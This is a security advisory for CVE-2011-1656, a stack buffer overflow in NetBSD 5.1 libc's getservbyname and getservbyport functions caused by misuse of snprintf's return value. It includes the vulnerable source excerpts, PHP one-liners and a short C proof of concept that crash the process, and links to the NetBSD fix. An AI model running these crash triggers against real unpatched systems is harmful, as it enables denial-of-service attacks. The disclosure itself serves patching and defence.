Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26611
HistoryJul 06, 2011 - 12:00 a.m.

NetBSD 5.1 libc/net multiple functions stack buffer overflow

2011-07-0600:00:00
vulners.com
16

[ NetBSD 5.1 libc/net multiple functions stack buffer overflow ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/

Date:

  • Dis.: 01.04.2011
  • Pub.: 01.07.2011

CVE: CVE-2011-1656
CWE: CWE-121

Affected software:

  • NetBSD 5.1 (fixed)

Affected functions:

  • getservbyname(3)
  • getservbyname_r(3)
  • getservbyport(3)
  • getservbyport_r(3)
  • getaddrinfo(3)
  • getnameinfo(3)

Original URL:
http://securityreason.com/achievement_securityalert/99

— 0.Description —
The getservbyname(), and getservbyport() functions each return a pointer to an object with the
following structure containing the broken-out fields of a line in the network services data
base,

 struct servent *
 getservbyname(const char *name, const char *proto);

 struct servent *
 getservbyport(int port, const char *proto);

The getservbyname() and getservbyport() functions sequentially search from the beginning of
the file until a matching protocol name or port number is found, or until EOF is encountered.
If a protocol name is also supplied (non-NULL), searches must also match the protocol.

— 1. NetBSD 5.1 libc/net multiple functions stack buffer overflow —
The main problem exists in files like getservbyname_r.c and getservbyport_r.c. Functions
getservbyname*(3), getservbyport*(3) and getaddrinfo(3) of NetBSD libc implementation, provides
to possible buffer overflow. To demonstrate this issue, we may use PHP as an attack vector.

127# php -r 'getservbyname("A",str_repeat("A",7108));'
127# php -r 'getservbyname("A",str_repeat("A",7109));'
Memory fault (core dumped)

-php-5.3.6/ext/standard/basic_functions.c—
PHP_FUNCTION(getservbyname)
{
char *name, *proto;
int name_len, proto_len;
struct servent *serv;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &name, &name_len, &proto,

&proto_len) == FAILURE) {
return;
}
.
serv = getservbyname(name, proto); <==== CALL TO LIBC
-php-5.3.6/ext/standard/basic_functions.c—

BT:
#0 0xbb8b2d65 in __log2 () from /usr/lib/libc.so.12
#1 0xbb8afa2e in __call_hash () from /usr/lib/libc.so.12
#2 0xbb8b0ebd in __hash_open () from /usr/lib/libc.so.12
#3 0xbb8884c2 in getservbyname_r () from /usr/lib/libc.so.12
#4 0xbb822f6f in getservbyname () from /usr/lib/libc.so.12
#5 0x08334458 in php_get_highlight_struct ()

Let's see what is wrong with getservbyname().

-getservbyname.c—
struct servent *
getservbyname(const char *name, const char *proto)
{
struct servent *s;

    mutex_lock&#40;&amp;_servent_mutex&#41;;
    s = getservbyname_r&#40;name, proto, &amp;_servent_data.serv, &amp;_servent_data&#41;; &lt;=== REFERENCE
    mutex_unlock&#40;&amp;_servent_mutex&#41;;
    return &#40;s&#41;;

}
-getservbyname.c—

as we can see, getservbyname(3) redirect to getservbyname_r(3) function.

-getservbyname_r.c—
if (sd->flags & _SV_DB) {
char buf[BUFSIZ];
DBT key, data;
DB *db = sd->db;
key.data = buf;

            if &#40;proto == NULL&#41;
                    key.size = snprintf&#40;buf, sizeof&#40;buf&#41;, &quot;&#92;376&#37;s&quot;, name&#41;; &lt;===== INVALID

key.size HERE
else
key.size = snprintf(buf, sizeof(buf), "\376%s/%s", <===== INVALID
key.size HERE
name, proto);
key.size++;

            if &#40;&#40;*db-&gt;get&#41;&#40;db, &amp;key, &amp;data, 0&#41; != 0&#41;
                    return NULL;
            
            if &#40;&#40;*db-&gt;get&#41;&#40;db, &amp;data, &amp;key, 0&#41; != 0&#41;
                    return NULL;

-getservbyname_r.c—

key.size may be bigger as BUFSIZ.

snprintf(3) return number of characters that would have been written had size been
sufficiently large (not counting the terminating null). In this case, snprintf(3) return bigger
value as sizeof(buf). In older libc implementations, snprintf(3) should return -1, if the
string is truncated.

The same problem is with getservbyport_r(3).

-getservbyname_r.c—
if (sd->flags & _SV_DB) {
char buf[BUFSIZ];
DBT key, data;
DB *db = sd->db;
key.data = buf;

            port = htons&#40;port&#41;;
            if &#40;proto == NULL&#41;
                    key.size = snprintf&#40;buf, sizeof&#40;buf&#41;, &quot;&#92;377&#37;d&quot;, port&#41;; &lt;===== INVALID

key.size HERE
else
key.size = snprintf(buf, sizeof(buf), "\377%d/%s", port, <=====
INVALID key.size HERE
proto);
key.size++;

            if &#40;&#40;*db-&gt;get&#41;&#40;db, &amp;key, &amp;data, 0&#41; != 0&#41;
                    return NULL;
            
            if &#40;&#40;*db-&gt;get&#41;&#40;db, &amp;data, &amp;key, 0&#41; != 0&#41;
                    return NULL;

-getservbyname_r.c—

And the last PoC:
-PoC—
/*
127# gcc -o grr grr.c && ./grr 6050
127# gcc -o grr grr.c && ./grr 6051
Memory fault (core dumped)
127#

*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
char *cycek;
cycek=malloc(atoi(argv[1]));

    if&#40;!cycek&#41; return 1;
    memset&#40;cycek,&#39;A&#39;,atoi&#40;argv[1]&#41;&#41;;

    getservbyname&#40;cycek,&quot;tcp&quot;&#41;;

    return 0;

}
-PoC—

NetBSD has fixed this issue. Use cvs netbsd-5-1 and netbsd-5-0 to up-to date your system.

There are no others vulnerable libc implementations. Only FreeBSD 8.2 use wrong snprintf(3) in
getservent.c

http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libc/net/getservent.c?rev=1.23.10.3.4.1;content-type=text&#37;2Fplain

GNU libc may give problem with alloca().

— 2. Fix —
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyname_r.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyport_r.c

NetBSD CVS tags:

  • netbsd-5-1
  • netbsd-5-0
  • netbsd-5

— 3. Greets —
Christos Zoulas, sp3x, Infospec

— 4. Contact —
Author: Maksymilian Arciemowicz

Email:

  • cxib {a\./t] securityreason [d=t} com

GPG:

Related for SECURITYVULNS:DOC:26611